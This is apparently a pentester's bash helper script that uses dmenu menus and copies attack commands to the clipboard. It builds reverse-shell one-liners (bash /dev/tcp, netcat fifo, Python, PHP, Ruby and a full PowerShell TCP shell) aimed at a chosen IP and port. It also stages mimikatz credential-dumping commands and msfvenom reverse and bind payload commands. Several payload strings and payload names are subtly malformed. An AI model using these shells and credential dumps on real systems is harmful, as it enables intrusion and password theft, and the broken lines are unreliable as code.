dmenu_pentest.sh

#Author : Cipher007
#Date   : 17-05-2021
#Mentor : p4p1
#This script was created to enable us to do some of the recursive
#tasks in a pentest without having to type it all the time!

# Add a shortcut (Ctrl+D) for this script in the keyboard shortcuts for easy access.

#   ____ _       _                ___   ___ _____
#  / ___(_)_ __ | |__   ___ _ __ / _ \ / _ \___  |
# | |   | | '_ \| '_ \ / _ \ '__| | | | | | | / /
# | |___| | |_) | | | |  __/ |  | |_| | |_| |/ /
#  \____|_| .__/|_| |_|\___|_|   \___/ \___//_/
#         |_|

#!/bin/bash

main()
{
	menu="shells\nTTY\nStabalize Shell\nApplications\nmsfvenom\nmimikatz"
	result=$(echo -e "$menu" | dmenu -c -l  10)

	case $result in
		"shells")
			func_shell
			;;
		"TTY")
			func_tty
			;;
		"Applications")
			func_apps
			;;
		"mimikatz")
			func_mimikatz
			;;
		"msfvenom")
			func_msfvenom
			;;
		"Stabalize Shell")
			func_stabalize
			;;
	esac
}

#--------XTE-AUTOMATION-------

cmd()
{
	xte "str $1"
	sleep 0.5
	xte "key Return"
}

ctrl()
{
	xte "keydown Control_L" "key $1" "keyup Control_L"
}

#-----------------------------

func_stabalize()
{
	COLS=150
	ROWS=45
	cmd "python -c 'import pty;pty.spawn(\"/bin/bash\")' || python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
	ctrl Z
	cmd "stty raw -echo; fg"
	sleep 1
	cmd "stty rows $ROWS cols $COLS"
	cmd "export TERM=xterm"
	cmd "exec /bin/bash"
}

func_shell()
{
	menu="bash\npython\nnc\npowershell\nphp\nruby"
	address=$(ifconfig | grep "inet " |sed -e 's/^[[:space:]]*//' | cut -d ' ' -f 2 | xargs | sed 's/ /\\n/g')
	ip=$(echo -e "$address" | dmenu -c -l 10)
	port=$(echo -e "" | dmenu -c -p port )
	result=$(echo -e "$menu" | dmenu -c -l 10)
	case $result in
		"bash")
			payload="bash -c 'exec bash -i &>/dev/tcp/$ip/$port <&1'";
			;;
		"python")
			initial="/bin/sh";
			payload="python -c 'import sys,socket,os,pty;s=socket.socket()s.connect((os.getenv("$ip"),int(os.getenv("$port"))))[os.dup2(s.fileno(),fd) for fd in (0,1,2)]pty.spawn("$initial")'";
			;;
		"nc")
			payload="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f";
			;;
		"php")
			initial="/bin/sh -i <&3 >&3 2>&3";
			payload="php -r '$sock=fsockopen(getenv("$ip"),getenv("$port"));exec("$initial");'";
			;;
		"ruby")
			payload="ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["$ip"],ENV["$port"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'";
			;;
		"powershell")
			initial="\"\$client = New-Object System.Net.Sockets.TCPClient('$ip',$port);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
			payload="powershell -nop -c $initial"
			cat $payload
			;;
	esac
	echo -ne $payload | xclip -sel clip
	bash -c "notify-send 'dmenu_pentest' 'Shell copied to clipboard' -t 2"
}

func_tty()
{
	menu="python\npython3\nos-system"
	result=$(echo -e "$menu" | dmenu -c -l 10)

	case $result in
		"python")
			payload="python -c 'import pty;pty.spawn(\"/bin/bash\")'"
			;;
		"python3")
			payload="python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
			;;
		"os-system")
			payload="echo os.system(\"/bin/bash\")"
			;;
	esac
	echo -n $payload | xclip -sel clip
}

func_apps()
{
	apps=$(dmenu_path)
	result=$(echo -ne "$apps" | dmenu -c -i -l 10 -p "Search")
	if [[ $result == "firefox" || $result == "burpsuite" ]]
	then
		$result &
	else
		if [[ $(whoami) == "root" ]]
		then
			$result &
		else
			option=$( echo -ne "Yes\nNo" | dmenu -i -c -l 10 -p "Run as root?" )
			if [[ $option == "Yes" ]]
			then
				pass=$(echo -ne '' | dmenu -P -c -l 10 -p "Password" )
				echo $pass | sudo -S $result
			else
				$result &
			fi
		fi
	fi
}

func_mimikatz()
{
	menu="privilege\nlogonPasswords\nlsadump"
	result=$(echo -ne "$menu" | dmenu -c -i -l 10)
	case $result in
		"logonPasswords")
			payload="sekurlsa::logonPasswords"
			;;
		"privilege")
			payload="privilege::debug"
			;;
		"lsadump")
			payload="lsadump::sam"
			;;
	esac
	echo -n $payload | xclip -sel clip
	bash -c "notify-send 'dmenu_pentest' 'mimikatz command copied to clipboard' -t 2"
}

func_msfvenom()
{
	address=$(ifconfig | grep "inet " |sed -e 's/^[[:space:]]*//' | cut -d ' ' -f 2 | xargs | sed 's/ /\\n/g')
	ip=$(echo -e "$address" | dmenu -c -l 10)
	port=$(echo -e "" | dmenu -c -p port )
	name=$(echo -ne '' | dmenu -c -i -l 10 -p "Filename")

	payload1="Windows\nLinux\nJava"
	payload2="x86\nx64"
	stages="stageless\nstaged"
	types="shell\nmeterpreter"
	tcp_type="reverse\nbind"
	pay1=$(echo -ne "$payload1" | dmenu -c -i -l 10)
	case $pay1 in
		"Windows")
			ext="exe"
			pay2=$(echo -ne "$payload2" | dmenu -c -i -l 10)
			case $pay2 in
				"x86")
					stage=$(echo -ne "$stages" | dmenu -c -i -l 10)
					case $stage in
						"staged")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/shell/reverse_tcp"
											;;
										"bind")
											payload="windows/shell/bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/meterpreter/reverse_tcp"
											;;
										"bind")
											payload="windows/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
						"stageless")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/shell_reverse_tcp"
											;;
										"bind")
											payload="windows/shell_bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/meterpreter_reverse_tcp"
											;;
										"bind")
											payload="windows/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
					esac
					;;
				"x64")
					stage=$(echo -ne "$stages" | dmenu -c -i -l 10)
					case $stage in
						"staged")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/x64/shell/reverse_tcp"
											;;
										"bind")
											payload="windows/x64/shell/bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/x64/meterpreter/reverse_tcp"
											;;
										"bind")
											payload="windows/x64/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
						"stageless")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/x64/shell_reverse_tcp"
											;;
										"bind")
											payload="windows/x64/shell_bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="windows/x64/meterpreter_reverse_tcp"
											;;
										"bind")
											payload="windows/x64/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
					esac
					;;
			esac
			;;
		"Linux")
			ext="elf"
			pay2=$(echo -ne "$payload2" | dmenu -c -i -l 10)
			case $pay2 in
				"x86")
					stage=$(echo -ne "$stages" | dmenu -c -i -l 10)
					case $stage in
						"staged")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x86/reverse_tcp"
											;;
										"bind")
											payload="linux/x86/shell/bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x86/meterpreter/reverse_tcp"
											;;
										"bind")
											payload="linux/x86/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
						"stageless")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x86/shell_reverse_tcp"
											;;
										"bind")
											payload="linux/86/shell_bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x86/meterpreter_reverse_tcp"
											;;
										"bind")
											payload="linux/86/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
					esac
					;;
				"x64")
					stage=$(echo -ne "$stages" | dmenu -c -i -l 10)
					case $stage in
						"staged")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x64/shell/reverse_tcp"
											;;
										"bind")
											payload="linux/x64/shell/bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x64/meterpreter/reverse_tcp"
											;;
										"bind")
											payload="linux/x64/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
						"stageless")
							typ=$(echo -ne "$types" | dmenu -c -i -l 10)
							case $typ in
								"shell")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x64/shell_reverse_tcp"
											;;
										"bind")
											payload="linux/x64/shell_bind/tcp"
											;;
									esac
									;;
								"meterpreter")
									tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10)
									case $tcp in
										"reverse")
											payload="linux/x64/meterpreter_reverse_tcp"
											;;
										"bind")
											payload="linux/x64/meterpreter/bind_tcp"
											;;
									esac
									;;
							esac
							;;
					esac
					;;
			esac
			;;
		"Java")
			payload="java/jsp_shell_reverse_tcp"
			ext="raw"
			;;
	esac

	if [ $pay1 == "Java"  ]
	then
		
		final_payload="msfvenom -p $payload  LHOST=$ip LPORT=$port -f $ext -o $name.jsp"
	else
		final_payload="msfvenom -p $payload  LHOST=$ip LPORT=$port -f $ext -o $name.$ext"
	fi
	echo $final_payload | xclip -sel clip
	bash -c "notify-send 'dmenu_pentest' 'msfvenom payload command copied to clipboard' -t 2"
}

main $@